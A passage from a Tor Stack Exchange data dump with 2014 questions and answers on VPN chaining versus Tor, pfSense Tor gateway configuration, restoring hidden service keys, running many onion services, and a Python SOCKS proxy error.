Tor usage from your ISP, with Tor you gain anonymity, and with the second VPN you hide your data from the Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But does this have any advantage over just using a second VPN? For example: &lt;strong&gt;ISP -&gt; VPN -&gt; VPN&lt;/strong&gt;. It seems like your first VPN would hide your origin from the second, and the second would hide your data from the first.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I hide my plain-text data from a &lt;strong&gt;Tor exit node&lt;/strong&gt;?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(Is HTTPS alone an acceptable solution?)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Is using another VPN an acceptable solution?&lt;/li&gt;&#xA;&lt;li&gt;Does this have any advantage over just chain-linking multiple VPNs together?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus points:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What kind of traffic slowdown/overhead will this cause? (anybody's personal experience)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3042" LastEditorUserId="923" LastEditDate="2014-06-26T20:18:21.750" LastActivityDate="2014-06-27T03:03:58.310" Title="Multi-VPN hopping Advantages/Disadvantages over Tor" Tags="|tor-browser-bundle|anonymity|exit-relays|vpn|encryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3388" PostTypeId="2" ParentId="3374" CreationDate="2014-06-26T22:12:44.437" Score="2" Body="&lt;p&gt;Based on mirimir's comment, To install Tor as a service, you can simply run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --service install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="71" LastEditDate="2014-06-26T22:50:40.813" LastActivityDate="2014-06-26T22:50:40.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3390" PostTypeId="5" CreationDate="2014-06-26T23:13:56.193" Score="0" Body="&lt;p&gt;Orweb is a companion browser for &lt;a href=&quot;//tor.stackexchange.com/tags/orbot&quot; rel=&quot;nofollow&quot;&gt;Orbot&lt;/a&gt;, the port of Tor to Android. Orweb routes all browser traffic through a SOCKS5 proxy connection to Tor service running with Orbot. Web traffic is then anonymized through circuits created by Tor.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-06-27T08:07:51.017" LastActivityDate="2014-06-27T08:07:51.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3391" PostTypeId="4" CreationDate="2014-06-26T23:13:56.193" Score="0" Body="Orweb is a companion browser for Orbot, the port of Tor to Android." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-06-27T08:07:43.950" LastActivityDate="2014-06-27T08:07:43.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3392" PostTypeId="1" AcceptedAnswerId="3419" CreationDate="2014-06-27T00:03:39.630" Score="1" ViewCount="978" Body="&lt;p&gt;I'm writing some code to play around with and test some hidden service things.&#xA;I need to be able to emulate hidden service directory selection.&lt;br/&gt;&#xA;HSDirs are calculated by selecting the three closest onion-routers whose identity hash is larger than the hidden service descriptor's descriptor-id, and who also have the HSDir flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which network status document is used to find the HSDirs of a hidden service?&#xA;Is it correct to use the &quot;cached-microdesc-consensus&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally how could you get such a document if it wasn't already cached on your computer from Tor?&#xA;I found &lt;a href=&quot;https://github.com/DonnchaC/tor/blob/master/scripts/retrieve_hs_descriptor.py&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;, however it requires a file, ``cached-consensus'', that I don't have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;https://stem.torproject.org/tutorials/down_the_rabbit_hole.html&quot; rel=&quot;nofollow&quot;&gt;The Stem interpreter&lt;/a&gt; (which can be accessed using the command tor-prompt) can be used to download consensus documents.&#xA;For instance with the command: GETINFO ns/all.&lt;br/&gt;&#xA;Additionally, if HSDirs are selected correctly you should be able to check by making the following HTTP GET request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://&amp;lt;HSDir_IP&amp;gt;:&amp;lt;HSDir_DirPort&amp;gt;/&amp;lt;DescriptorID&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not yet been able to replicate HSDir selection using this data, however.&#xA;Either the documents aren't the correct ones or there's some nuance to HSDir selection that isn't obvious.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user194" LastEditDate="2014-06-29T02:54:42.880" LastActivityDate="2014-07-02T01:22:01.290" Title="HSDir selection" Tags="|onion-services|relays|directory|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3393" PostTypeId="2" ParentId="2159" CreationDate="2014-06-27T03:01:31.053" Score="2" Body="&lt;p&gt;It sounds like you've opened the .dmg and are trying to run the program before copying it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drag 'TorBrowser' on to your desktop (or a temp folder) and try to execute it again.&lt;/p&gt;&#xA;" OwnerUserId="3044" LastActivityDate="2014-06-27T03:01:31.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3394" PostTypeId="2" ParentId="3386" CreationDate="2014-06-27T03:03:58.310" Score="2" Body="&lt;p&gt;If strong anonymity is what you want, use Tor. Reaching the Tor network through a VPN does not increase privacy or anonymity. It merely shifts knowledge about Tor usage from your ISP (and relevant government) to the VPN (and relevant government). You choose based on which you trust more (or distrust less).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tunneling a VPN through Tor decreases anonymity in at least two ways. First, it creates a persistent Tor circuit, which increases vulnerability to various attacks that exploit long-lived circuits. For example, see &lt;a href=&quot;http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf&quot; rel=&quot;nofollow&quot;&gt;Johnson et al (2013) Users Get Routed: Traffic Correlation on Tor by Realistic Adversaries&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, as Roya notes, there may be a money trail for paid VPN services. You can reduce that risk by paying with Bitcoins that have been thoroughly anonymized via Tor. But even if you wash your Bitcoins through a chain of anonymous wallets, using multiple anonymous mixing services, there is still some risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, I see only two situations where tunneling a VPN through Tor makes sense: 1) accessing sites that block Tor exit nodes; and 2) using apps that require UDP traffic. Even then, it's best to use a free VPN, such as SecurityKISS, which can be set up via Tor, and where there's no money trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using nested chains of VPNs provides stronger anonymity than a single VPN, even a multi-hop VPN. However, if there were three one-hop VPNs in the chain, your anonymity would &lt;strong&gt;at best&lt;/strong&gt; be comparable to restricting your Tor client to using &lt;strong&gt;just one circuit&lt;/strong&gt;. Using nested VPN chains instead of Tor makes sense only when better performance (higher bandwidth and lower latency) is more important than stronger anonymity.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-27T03:03:58.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3395" PostTypeId="2" ParentId="1232" CreationDate="2014-06-27T04:56:45.327" Score="6" Body="&lt;p&gt;This can be done using VirtualBox VMs. It's easy with Whonix. Just set up a VPN client in the workstation VM in &lt;code&gt;/etc/openvpn/&lt;/code&gt;, and add &lt;code&gt;socks-proxy 192.168.0.10 9150 up&lt;/code&gt; and &lt;code&gt;socks-proxy-retry&lt;/code&gt; to the configuration file. The requirement for an &lt;code&gt;up&lt;/code&gt; proxy-authentication file is an OpenVPN bug. The &lt;code&gt;up&lt;/code&gt; file must exist, but it's not parsed, so its content doesn't matter. You'll need to reconfigure apps that are set up to use the Whonix gateway as proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lighter solution uses a pfSense VM that provides a Tor SocksPort. In the simplest case, you would use this with a Linux VM running a VPN client and Tor Browser. More generally, you could use the pfSense Tor-gateway VM with various pfSense VPN-client VMs to construct nested chains of VPNs and Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use the latest Tor release, you need to build a Tor package in FreeBSD 8.3 from the &lt;a href=&quot;https://freshports.org&quot; rel=&quot;noreferrer&quot;&gt;latest port&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fetch ftp://ftp.freebsd.org/pub/FreeBSD/ISO-IMAGES-i386/8.3/FreeBSD-8.3-RELEASE-i386-disc1.iso&#xA;[create local FreeBSD VM with 1024 MB RAM and 200 GB thin VDI]&#xA;portsnap fetch extract&#xA;mkdir /usr/ports/packages&#xA;cd /usr/ports/security/tor/&#xA;make package-recursive&#xA;cd /usr/ports/devel/google-perftools/&#xA;make package-recursive&#xA;cd /usr/ports/packages/All/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can install Tor in pfSense 2.1.4 &lt;a href=&quot;http://skear.hubpages.com/hub/How-to-Set-Up-a-Tor-Proxy-Server-on-pfSense&quot; rel=&quot;noreferrer&quot;&gt;as described here&lt;/a&gt;. But don't do the proxy server part, just Tor install. You can get your new packages into pfSense using &lt;code&gt;Diagnostics: Execute command: Upload&lt;/code&gt; in the webGUI. Before installing, move the package files from &lt;code&gt;/tmp/&lt;/code&gt; to &lt;code&gt;/root/&lt;/code&gt; by running &lt;code&gt;mv /tmp/[package].tbz /root/&lt;/code&gt;. Then work in the pfSense console, hitting &lt;code&gt;8&lt;/code&gt; and &lt;code&gt;enter&lt;/code&gt; for a command line. You will need to fix the libevent 2.0 screwup by adding two links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /usr/local/lib/event2/libevent-2.0.so.6 /usr/lib/libevent-2.0.so.6&#xA;ln -s /usr/local/lib/event2/libevent_openssl-2.0.so.6 /usr/lib/libevent_openssl-2.0.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit torrc using &lt;code&gt;vi /usr/local/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;SocksPort 192.168.1.1:9050&#xA;...&#xA;RunAsDaemon 1&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now reboot the pfSense VM. Tor should be running. Using the webGUI, lock down pfSense. First delete all outbound NAT routes in &lt;code&gt;Firewall: NAT: Outbound&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select &quot;Manual Outbound NAT rule generation&quot;, save and apply changes&#xA;check all outbound NAT routes, and delete using [x] at lower right&#xA;save and apply changes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Firewall: Rules: LAN&lt;/code&gt;, allow access from LAN only to the Tor SocksPort:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;edit default allow rule&#xA;allow TCP from LAN subnet to 192.168.1.1 port 9050&#xA;save and apply changes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pfSense Tor-gateway VM only needs to access your entry guards, and NTP servers so that Tor has the correct time. For additional security, you can create rules on WAN that allow that, and block all other outbound traffic. Working at the command line in the pfSense console, view your entry guards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /var/db/tor/state | less&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Browse &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;Atlas&lt;/a&gt; and get the corresponding IP addresses. Browse &lt;code&gt;Firewall: Aliases: IP&lt;/code&gt;, and create an alias for those IPs. You will need to update the alias periodically as your entry guards change. Also create an alias for the pfSense NTP server &amp;lt;0.pfsense.pool.ntp.org&gt;. Then use those two aliases to create outbound pass rules in &lt;code&gt;Firewall: Rules: WAN&lt;/code&gt;. At the bottom, add a block rule for everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in &lt;code&gt;System: Advanced: Miscellaneous: Gateway Monitoring&lt;/code&gt;, check &lt;code&gt;Skip Rules When Gateway is Down&lt;/code&gt; and hit &lt;code&gt;Save&lt;/code&gt;. Now your pfSense VM provides a Tor SocksPort, and blocks all other traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see my answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/3386/multi-vpn-hopping-advantages-disadvantages-over-tor&quot;&gt;this question&lt;/a&gt; for advice about paying anonymously for VPN services.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-27T06:27:54.583" LastActivityDate="2014-06-27T06:27:54.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3397" PostTypeId="1" AcceptedAnswerId="3398" CreationDate="2014-06-27T12:31:14.847" Score="2" ViewCount="804" Body="&lt;p&gt;I have a Hidden Service running on a couple of &lt;a href=&quot;http://www.raspberrypi.org/&quot; rel=&quot;nofollow&quot;&gt;Raspberry Pi&lt;/a&gt;'s on my home network, one of the Pis is running The &lt;a href=&quot;https://prosody.im/&quot; rel=&quot;nofollow&quot;&gt;Prosody jabber&lt;/a&gt; server and the other Pi is running Tor with a Hidden Service configured on it pointing to the Prosody server. If that makes sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after an unfortunate meeting with a glass of water the Raspberry Pi has now gone to the great raspberry patch in the sky.  Which obviously means that it's taken the Hidden Service with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in an unusual fit of foresight I remembered to save the output of the following two commands to removable storage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo more /var/lib/tor/keys/secret_id_key&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo more /var/lib/tor/keys/secret_onion_key&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this as it was my understanding that I would be able to transfer this information to a new machine and recreate the Hidden Service on the new machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I now have a new installation of Raspbian and Tor running on a new Raspberry Pi, but I can't recreate the old service. I really need to recreate it because a few people already have the address and I'd rather not have to make everybody recreate their accounts you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried putting those two files back in their respective places, but nothing happened and I wasn't able to connect to the same Hidden Service address as before. I've also tried creating a new hidden service, and once created tried substituting my private keys for the ones Tor created for the new service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of which approaches worked.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now,I'm sure I'm missing something completely obvious, but can somebody point me in the right direction please?&lt;/p&gt;&#xA;" OwnerUserId="1045" LastEditorUserId="923" LastEditDate="2014-06-27T22:10:56.943" LastActivityDate="2014-06-27T22:10:56.943" Title="Raspberry Pi Tor Hidden Service problem" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3398" PostTypeId="2" ParentId="3397" CreationDate="2014-06-27T16:22:06.187" Score="2" Body="&lt;p&gt;If the files are copied correctly then you should be able to do so.&#xA;Please make sure your new hidden service points to the correct folder for where it get's its domain + key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;make sure you set 'HiddenServiceDir' to the dir where you store your files.&#xA;If it still fails - then please check the Tor log for more information about what's going wrong.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-06-27T16:22:06.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3399" PostTypeId="1" CreationDate="2014-06-27T17:44:28.433" Score="1" ViewCount="1234" Body="&lt;p&gt;Folks, I am able to successfully run Tor Browser and access for example Gmail.&#xA;However, I cannot login to &lt;a href=&quot;http://en.zbiornik.com/&quot; rel=&quot;nofollow&quot;&gt;http://en.zbiornik.com/&lt;/a&gt; - it always says &quot;invalid password&quot;.&lt;br&gt;&#xA;I have added the following line to:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;TrackHostExits zbiornik.com&#xA;some dir\Tor Browser\Data\Tor\torrc&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it did not help&lt;br&gt;&#xA;What else shall I try?&lt;/p&gt;&#xA;" OwnerUserId="3046" LastEditorUserId="923" LastEditDate="2014-06-28T14:22:12.407" LastActivityDate="2017-04-30T09:07:02.047" Title="Can't login to http://en.zbiornik.com/" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3400" PostTypeId="1" CreationDate="2014-06-27T22:08:32.943" Score="2" ViewCount="13066" Body="&lt;p&gt;I recently just downloaded the Tor browser bundle {FireFox Version ESR 24.60.0}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to be able to connect to the network, however I cannot connect to any hidden service, or normal clear net site. I only get notifications that the connection keeps timing out. I know that this is a non-elaborate question however, this is a recurring issue that I cannot seem to mitigate. Any help would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I did do ample research and I cannot seem to find anything helpful and have uninstalled Bitdefender antivirus to no avail.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-07-03T03:49:30.240" LastActivityDate="2017-01-15T01:06:06.013" Title="Connections on Tor constantly timing out" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3401" PostTypeId="1" CreationDate="2014-06-28T07:20:07.753" Score="2" ViewCount="149" Body="&lt;p&gt;I installed Tor hidden service, when I use terminal and type &lt;strong&gt;netstat -tapln&lt;/strong&gt; (to see all opened ports) I can see foreign established connection and it is not clear to me is it dangerous or not? &#xA;Of course, I can see that mysql port is opened and sshd and so on, it is not problem. &#xA;It is strange for me, I see foreign address (to which server is connected) of companies that have nothing to do with server located in Asia. But all of them use the same process ID (PID) 12973.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One established connection is of course my IP because I use terminal to access server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second established connection is french IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third established connection is one web hosting company in Germany.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forth established connection is one company from the US. Their Global Internet Backbone provides IP Transit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is strange that 127.0.0.1:9050 is used by Tor and its PID is &lt;strong&gt;12973/tor&lt;/strong&gt;, all this companies have the same PID, for example like this: &#xA;&lt;strong&gt;IPAddress:9001 ESTABLISHED 12973/Tor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means if I kill PID 12973 I will kill Tor, not only these companies. So, why Tor has the same PID like companies from Europe and USA that are connected with server?&#xA;Server is located in Asia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it some Tor directory authority or descriptor or anything similar? &#xA;If it is so, can I choose to which Tor descriptor/authority server will connect? Where to find list of them, to choose whom I want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important point: can these companies snitch Tor server? If server traffic goes through them, it would be logical they can snitch traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose if I restart Tor, other companies will be connected with server? or not? I don't want to do it now because my client is changing his website but I can ask here.&lt;/p&gt;&#xA;" OwnerUserId="3051" LastEditorUserId="923" LastEditDate="2014-06-28T14:22:42.120" LastActivityDate="2014-06-28T14:22:42.120" Title="Why some companies are connected with Tor hidden service and they use the same process ID like Tor?" Tags="|onion-services|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3402" PostTypeId="2" ParentId="3401" CreationDate="2014-06-28T07:57:19.403" Score="1" Body="&lt;p&gt;Those are your entry guards. You can verify that by looking them up in &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;. The processes all have the Tor PID because they're all Tor related :)&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="923" LastEditDate="2014-06-28T14:11:06.330" LastActivityDate="2014-06-28T14:11:06.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3403" PostTypeId="1" AcceptedAnswerId="6163" CreationDate="2014-06-28T08:48:39.160" Score="7" ViewCount="729" Body="&lt;p&gt;I run a small web hotel. I would like to give all my customers a&#xA;.onion address to access their website - primarily to promote the use&#xA;of Tor to my customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my torrc I put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden/example.org&#xA;HiddenServicePort 80 example.org:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the 2500 websites, and set up apache to respond for the hostnames&#xA;generated in /var/lib/tor/hidden/*/hostname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seems Tor is unhappy about that. I get 1000s of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 25 19:09:21.000 [warn] Error launching circuit to node [scrubbed] for service [scrubbed].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a few of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 25 19:02:18.000 [warn] Your system clock just jumped 148 seconds forward; assuming established circuits no longer work.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works if I only run a few hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should this be done differently?&lt;/p&gt;&#xA;" OwnerUserId="1129" LastEditorUserId="1129" LastEditDate="2014-06-29T12:11:13.453" LastActivityDate="2015-02-07T07:36:00.313" Title="1000s of hidden services" Tags="|onion-services|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3405" PostTypeId="2" ParentId="1399" CreationDate="2014-06-29T05:02:57.807" Score="0" Body="&lt;p&gt;Hidden services are part of the Tor onion-routing anonymity network. They are not otherwise part of a network, unless interlinks have specifically been created. And generally, there is no particular community, except as created by link farms and indexing sites that focus on hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's best to refer to them as Tor hidden services.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-29T05:02:57.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3406" PostTypeId="2" ParentId="3400" CreationDate="2014-06-29T05:42:46.627" Score="1" Body="&lt;p&gt;Click on the green onion and select &quot;Open Network Settings&quot;. Click on &quot;Copy Tor Log To Clipboard&quot;. Paste clipboard in reply here. Report your antivirus and firewall software.&lt;/p&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2014-06-29T05:42:46.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3407" PostTypeId="1" CreationDate="2014-06-29T10:06:23.253" Score="9" ViewCount="6647" Body="&lt;p&gt;I am considering using remote desktop protocol(RDP) over Tor, to circumvent my country's blockade of RDP and also get the most of anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested a RDP connection with proxy chains remmina. (Proxy chains configured to avoid DNS leaks and resolve DNS requests via Tor instead.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While everything was working fine technically and surprisingly the response times were quite acceptable - Vidalia warned me that the RDP connection might leak my position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, could you tell me how real this risk to my anonymity actually is?&#xA;Should I better avoid using RDP over Tor?&#xA;May there be any way to make it safe in this case?&lt;/p&gt;&#xA;" OwnerUserId="3055" LastEditorUserId="923" LastEditDate="2014-06-29T13:10:44.280" LastActivityDate="2014-08-30T22:07:05.937" Title="RDP over Tor - safe?" Tags="|anonymity|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3408" PostTypeId="1" CreationDate="2014-06-29T12:07:23.373" Score="3" ViewCount="2886" Body="&lt;p&gt;Could somebody describe to me, like for Nooo-oo-ob, from the &lt;code&gt;Start&lt;/code&gt; and to the complete &lt;code&gt;End&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've setup HS. &lt;/li&gt;&#xA;&lt;li&gt;My Tor client connect to the rendezvous. Is it populate &lt;code&gt;full onion domain&lt;/code&gt; for rendezvous? &lt;/li&gt;&#xA;&lt;li&gt;Nextly, I open browser on another station with another Tor instance and enter my onion domain.&lt;/li&gt;&#xA;&lt;li&gt;How my browser's Tor instance find my HS's instance, if nobody know its name?  Is there broadcast to all rendezvous? Can it be eavesdropped? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could somebody explain &lt;code&gt;step-by-step&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why nobody can extract all onion domains from Tor network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can rendezvous relay extract onion domains that it keeps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can't split my question into parts, because it is about only one thing.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="88" LastEditDate="2014-06-29T13:18:10.360" LastActivityDate="2017-07-26T00:45:49.420" Title="How does it work - &quot;Hidden services&quot;?" Tags="|onion-services|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3409" PostTypeId="1" CreationDate="2014-06-29T23:06:56.167" Score="1" ViewCount="1758" Body="&lt;p&gt;This could be a very silly question, but I'm new to this topic and I couldn't figure out the problem after searching for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like I do have a Tor process listening. I tested it by using &lt;code&gt;telnet 127.0.0.1 9150&lt;/code&gt;, and it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Trying 127.0.0.1...&#xA;Connected to localhost.&#xA;Escape character is '^]'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to use the mechanize package in Python. Here are my codes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socks&#xA;import socket&#xA;def create_connection(address, timeout=None, source_address=None):&#xA;    sock = socks.socksocket()&#xA;    sock.connect(address)&#xA;    return sock&#xA;&#xA;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9150)&#xA;&#xA;# patch the socket module&#xA;socket.socket = socks.socksocket&#xA;socket.create_connection = create_connection&#xA;&#xA;import mechanize&#xA;from mechanize import Browser&#xA;&#xA;br = Browser()&#xA;print br.open('http://icanhazip.com').read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to move forward based on the following traceback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/Users/Documents/webscraping/BeautifulSoup/temp1.py&quot;, line 18, in &amp;lt;module&amp;gt;&#xA;    print br.open('http://icanhazip.com').read()&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py&quot;, line 203, in open&#xA;    return self._mech_open(url, data, timeout=timeout)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py&quot;, line 230, in _mech_open&#xA;    response = UserAgentBase.open(self, request, data)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_opener.py&quot;, line 188, in open&#xA;    req = meth(req)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_http.py&quot;, line 316, in http_request&#xA;    self.rfp.read()&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_http.py&quot;, line 242, in read&#xA;    f = self._opener.open(req)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py&quot;, line 203, in open&#xA;    return self._mech_open(url, data, timeout=timeout)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py&quot;, line 230, in _mech_open&#xA;    response = UserAgentBase.open(self, request, data)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_opener.py&quot;, line 193, in open&#xA;    response = urlopen(self, req, data)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_urllib2_fork.py&quot;, line 344, in _open&#xA;    '_open', req)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_urllib2_fork.py&quot;, line 332, in _call_chain&#xA;    result = func(*args)&#xA;  File 